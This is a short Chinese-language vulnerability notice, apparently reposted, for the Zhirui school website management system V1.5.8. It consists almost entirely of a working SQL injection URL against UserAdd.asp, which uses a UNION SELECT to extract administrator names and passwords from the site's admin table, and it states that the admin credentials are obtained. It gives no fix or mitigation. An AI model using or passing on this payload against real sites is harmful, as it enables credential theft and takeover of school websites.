智睿学校网站管理系统 V1.5.8 注入漏洞漏洞预警 -电脑资料

    漏洞文件：UserAdd.asp

    UserAdd.asp?Result=Modify&ID=158 and 1=2 union select 1,2,3,4,adminname,password,7,8,9,10,11,12,13,14,15,16 from zhi_rui_s_manage

    测试结果：

    获得管理用户和密码